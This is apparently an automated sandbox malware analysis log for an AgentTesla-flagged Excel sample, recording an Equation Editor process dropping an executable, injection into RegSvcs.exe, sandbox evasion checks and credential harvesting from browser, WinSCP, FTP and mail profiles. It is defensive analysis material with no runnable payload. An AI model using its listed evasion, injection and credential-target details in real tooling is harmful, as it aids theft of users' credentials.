Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Initial sample: OLE zip file path = xl/media/image1.png

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Source: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D44B37 LoadLibraryA,GetProcAddress,

5_2_00D44B37

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D68945 push ecx; ret

5_2_00D68958

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D448D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		5_2_00D448D7
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DC5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		5_2_00DC5376

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D63187 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00D63187

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

API/Special instruction interceptor: Address: 994D2C

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ghxtg8op.exe, 00000005.00000002.486376927.0000000000996000.00000004.00000020.00020000.00000000.sdmp, ghxtg8op.exe, 00000005.00000003.483312295.000000000099D000.00000004.00000020.00020000.00000000.sdmp, ghxtg8op.exe, 00000005.00000003.483235437.000000000098B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEG
Source: ghxtg8op.exe, 00000005.00000002.486156128.0000000000924000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXERG

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_5-105610

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

API coverage: 4.6 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3628

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA445A GetFileAttributesW,FindFirstFileW,FindClose,	5_2_00DA445A
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAC6D1 FindFirstFileW,FindClose,	5_2_00DAC6D1
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_00DAC75C
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00DAEF95
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00DAF0F2
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DAF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_00DAF3F3
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_00DA37EF
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DA3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_00DA3B12
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DABCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_00DABCBC

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D449A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_00D449A0

Source: EQNEDT32.EXE	Binary or memory string: a7xK0IOPuRkEw7cBi541oAvQ2V3mw13Nb4AabQLZJTi1TiBJoNLiEQZ8vmUn0hYNBZwNqokcJ4K9IguEkRZlpPJo9HSRMgKlr24MnMtjOaMESw473fYpd1QdFQkO4ufh9sLAS0327SbxxMv8ET3ZfACijc8I8GrKbUXUsdVh15pyrsmPqGsdzkuGAHOpceCnkIQx58XtbsovBNu8PQmfbfpO2nJcX0wI7gmE7SRlQEMUwmaRSOYMXqGGvagLuBNxE5Pz
Source: EQNEDT32.EXE	Binary or memory string: jSJXcXxC8jYB95SixbHM1iHX42BWQP0TaALv2boMNpjAZg5gb4hgFSmxBdVDJk3HJVmNVlfquI22akWPDuExrICpBs9Cc3NU4y0fg3OvtgsZrJiBvfGyWHSQCIWF0OtO19RaDUusUVeY1PXHurCVrRS4OP278mVGKWUvm770pIkml5uzJ2SKYm60wl5cdF7N8dYS1xvZ6ab0iMjaIjRFFNJWys6WBpd2a22wa2FsRvc1XGuM1SY1cDyueISbRYxUrENC
Source: EQNEDT32.EXE	Binary or memory string: vtSnJ7pmP4ZylMwRqsJv0xg8ancIV2BuqhRksIr6DFGMLVqhDSYAI2bti9LfkJKbVVdIsLSwkUxxTEFiWRrWUeBwGUPGVJWKJ6hTEanpPbIp4qI1Bbq1U4ZmdZS9fKxcgHHJrG2GcMyz1a9AckChDawyGCAM9dm01o4qfgJpkXcUGlygDcZaZTQ1W8AtrV81jUg5Y7o0FvuKgeu4N1ciS1CTqA8oiECBD4o6PqeMUITZBW8tXjy7mVQrc4i7b462sM5t
Source: EQNEDT32.EXE	Binary or memory string: yO3gjjQlAeIQaRwgS6OFFX3kesUC7DasRPmFmHgFsxwoSaEgx9fIUcMD1NCWrrzcKPlHiRKqVq7ooYIY5Z2K4x7azKmR2TmV2CgnQWV6Q4WQXcJpE99LsqUMxWu0YJ44yXAqonMX2PmhY4R2ogfPpYd4LjEFJg3pYDsRnW4gmfZemBpjFxFXpNhHXjOBDrsKB0UcI0n42cWK5FcQujXlmaqUxK3qA7h5FidPBWfEE3KkQWzdFnD8bTEE1HtH5kfeB6zq
Source: EQNEDT32.EXE	Binary or memory string: cG75oCxrsAvcosQVK5ksLqLmqzCWxybZHn3lRLSazrfvOk4rOWcsd9yFOX3clGcwudJefxpyN0LdypJhGlGkagAGXWnGA1QBBnp3eYSohbt2jfXmcrckNyLbwzLkJoR5lKVEWflrbhBQnmAv4qaA8Zt4GybLL83PHGFSTq9vkJ83LictKi4H3yEP9UULSYfxPcw2ec2lnVfEXzHS0YyOGjkRGbt1lZiUnQWFCUoANHfEW8YPmMDlwMsvFIjfRkan7jtL
Source: EQNEDT32.EXE	Binary or memory string: 1hPBckyaFYmpvZk5thVZJzErKamQIx5ULJp85KHYh5Uj7Jc9bme0U3EOEOo0Z33tBaVZMiPJ38tm7qNnrTBUl7QXYAAoRcoCbRjdzJ8VMcI7TYpfghPBdbdvLpAzQ583bllVVXFmdQxvisiQ7MaFevbFcG4h3rn6ETtJPnXovSALNCrhBL0qLS89QN96sLb2VTQDGTlFFdCWzw0BvZw7Ee1Hm6hMOvJUSebOa0jjdrKd4UxWNxgDrs0JiJ0bA2h69xjz

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	API call chain: ExitProcess graph end node			graph_5-104947
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	API call chain: ExitProcess graph end node			graph_5-104519

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DB3F09 BlockInput,

5_2_00DB3F09

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D43B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00D43B3A

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D75A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_00D75A7C

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D44B37 LoadLibraryA,GetProcAddress,

5_2_00D44B37

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560567 mov edx, dword ptr fs:[00000030h]	2_2_03560567
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00993978 mov eax, dword ptr fs:[00000030h]	5_2_00993978
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00994F98 mov eax, dword ptr fs:[00000030h]	5_2_00994F98
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00994FF8 mov eax, dword ptr fs:[00000030h]	5_2_00994FF8

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D980A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

5_2_00D980A9

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D6A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		5_2_00D6A155
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00D6A124 SetUnhandledExceptionFilter,		5_2_00D6A124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D987B1 LogonUserW,

5_2_00D987B1

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D43B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00D43B3A

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D448D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

5_2_00D448D7

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00DA4C53 mouse_event,

5_2_00DA4C53

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe C:\Users\user\AppData\Local\Temp\ghxtg8op.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Local\Temp\ghxtg8op.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D97CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

5_2_00D97CAF

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D9874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

5_2_00D9874B

Source: ghxtg8op.exe, 00000005.00000000.482962513.0000000000DF4000.00000002.00000001.01000000.00000004.sdmp, ghxtg8op.exe.2.dr, ngown[1].exe.2.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ghxtg8op.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D6862B cpuid

5_2_00D6862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D74E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00D74E87

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D81E06 GetUserNameW,

5_2_00D81E06

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D73F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

5_2_00D73F3A

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Code function: 5_2_00D449A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_00D449A0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ghxtg8op.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ghxtg8op.exe PID: 3752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3788, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
